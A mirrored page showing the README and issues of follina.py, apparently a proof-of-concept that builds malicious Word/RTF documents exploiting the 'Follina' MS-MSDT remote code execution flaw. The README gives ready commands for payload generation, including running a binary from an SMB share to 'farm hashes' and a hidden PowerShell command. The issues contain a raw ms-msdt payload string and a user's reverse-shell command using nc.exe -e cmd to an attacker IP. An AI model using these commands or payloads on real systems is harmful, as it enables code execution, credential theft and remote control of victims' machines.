Coder Social home page Coder Social logo

follina.py's Introduction

'Follina' MS-MSDT n-day Microsoft Office RCE

Quick POC to replicate the 'Follina' Office RCE vulnerability for local testing purposes. Running the script will generate a clickme.docx (or clickme.rtf) payload file in your current working directory, and start a web server with the payload file (www/exploit.html). The payload and web server parameters are configurable (see help and examples).

⚠ DO NOT USE IN PRODUCTION LEST YOU BE REGARDED A DUMMY

Usage:

$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

Examples:

# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

Cool peeps

Thanks to Kevin Beaumont for his original analysis of the issue, @KevTheHermit for sharing their poc, and John Hammond for their further work on analysing payload requirements. Additional thanks to @mkolsek for the template supporting Office 2019, and @theluemmel for sharing their version of the payload with me.

follina.py's People

Contributors

aidenmitchell avatar chvancooten avatar danusminimus avatar mosajjal avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

follina.py's Issues

word+exp not work? I need help

I'm going to run this directly in Win+R

ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"

I can open calc,But using Word with exp shows that exp is loaded but MSDT is not executed

Adding content

Is there a way to add content to docx/rtf file? Because after I've opened the file, added some content and saved it, it stoped working.

Word Version

my server receives the connections, exploit doesnt seem to work with latest word version 2205 tho. got it working with older ones

想要一个可以弹shell的命令

python .\follina.py -t docx -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c c:\windows\system32\nc.exe -e cmd 192.168.25.148 5555'" -H 192.168.25.148 -P 8080我试过这个,并且在攻击机打开nc监听,之后用靶机点击word文档,攻击机的8080可以监听到数据,但是5555并没有拿到nc反弹的shell。

RTF url issue

Hey,
so I was playing around with this POC and I was trying to get a .rtf to pull the .html from a VM that wasnt the one executing the maldoc.
So I tried using the -u option but I noticed that it was still contacting http://localhost:80/exploit.html, even when the local server didnt even start.
To solve the issue I tried to mess with the rtf template and I noticed that there were 2 http://localhost:80/exploit.html instances, one generated by the {payload_url} in the py code and one hardcoded (to find it: ctrl + f > http://lo).
The weird thing is that even by changing both urls to the ip I was trying to contact the .rtf still performed GET requests to localhost.
Am I missing something obvious here?

Steps to reprodude the issue:

  1. python .\follina.py -t rtf -m command -c "Start-Process cmd.exe" -u https://google.com
  2. python .\follina.py -t docx -m command -c "Start-Process cmd.exe"
  3. open the .rtf
    A GET request will be logged and cmd.exe will start even tho I doubt that google is hosting exploit.html lol

Listen for errors after the document is run

image

I am using the latest version today, and the document starts to report an error as soon as it runs. It seems that the http.server has not been successfully started?

Manually created http.server service can receive requests, but cannot go online cs :(

image

From the log, there is no request to access payloadps1,Which step am I doing wrong?🤔

The path for called binary

Hi,
First of all, thank you for this PoC. The right usage shold be as follows for path of the binary.
python3 follina.py -m binary -b \\windows\\system32\\calc.exe -u <IP>
or
python3 follina.py -m binary -b calc.exe -u <IP>
Specifying with single back-slash causes that the specified binary is not found. This can be seen with following screenshoot.

Capture

Thank you again

Using a remote binary

Hello,

I'm trying to test the remote version of the exploit in a more realistic setting, i.e. I'm actually uploading an executable to a web server and trying to specify the url with the -u switch. But I get an error that says that I have to specify the executable:

$ python follina.py -t docx -m binary -u https://www.example.com/my_payload.exe
Binary mode requires a binary to be specified, e.g. -b '\\localhost\c$\Windows\System32\calc.exe'

My understanding is that by supplying an URL the script should generate an exploit that tries to retrieve the executable from the web server instead of searching locally, am I getting this wrong?

why???

The first attack can succeed and then fail. It's strange

MSDT PASS KEY

Hello,

When i try to execute the .doc file, it contact my server to download exploit.html but nothing happens.
What's more, when i reach exploit.html directly, it opens the mstd but with passkey and nothing happens....

I use Open Office 2019 and Windows 10. Do you have an idea about this issue ? I try on Windows 11 too.

Thank you.

FileNotFoundError

Traceback (most recent call last):
File "C:\TEMP\follina.py", line 23, in
with open("src/document.xml.rels.tpl", "r") as f:
FileNotFoundError: [Errno 2] No such file or directory: 'src/document.xml.rels.tpl'

Am I missing something beyond the python3 .\follina.py needed to execute this?

-u doesn't seem to do anything

Hi there, I'm hoping to use this script to generate a Word document that gets the payload from a remote URL.

As mentioned in the docs, you can use -u to specify a URL, but it doesn't seem to do anything, the generated document still tries to reach out to localhost.

Binary not opened in Windows 11

I have disabled Windows Defender Security and lauched the command :
python .\follina.py -t docx -m binary -b C:\Windows\System32\calc.exe

When I launch the docx I can perfectly see the GET requests from Word Office but the calc.exe doesn't open.
Obviously I have checked that I can manually open the calculator application.

What do you think the problem is ?
Thanks in advance.

Unneeded Argument For SimpleHTTPServer

For my version of python (3.6 I believe), the simple http server doesn’t take a directory argument and this needs to be removed and the HTML file put into the main directory as that is where the simple http server will serve files from.

501 unsupported method

C:\Users\shaun\Desktop\follina.py>follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo whoami > c:\users\shaun\Desktop\follina.py\owned.txt'"
Generated 'clickme.docx' in current directory
Generated 'exploit.html' in 'www' directory
Serving payload on http://localhost:80/exploit.html
127.0.0.1 - - [30/May/2022 21:21:53] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:53] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:53] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:53] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:53] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "GET /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] code 501, message Unsupported method ('OPTIONS')
127.0.0.1 - - [30/May/2022 21:21:55] "OPTIONS / HTTP/1.1" 501 -
127.0.0.1 - - [30/May/2022 21:21:55] "GET /exploit.html HTTP/1.1" 304 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:55] "HEAD /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [30/May/2022 21:21:56] "HEAD /exploit.html HTTP/1.1" 200 -

Getting this message when attempting to replicate.

Windows Defender Removing Generated Files

Windows Defender on Windows 8.1 (and perhaps above) will remove some generated files creating an OSError [ERRNO 22]. To fix this simply turn off windows defender.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.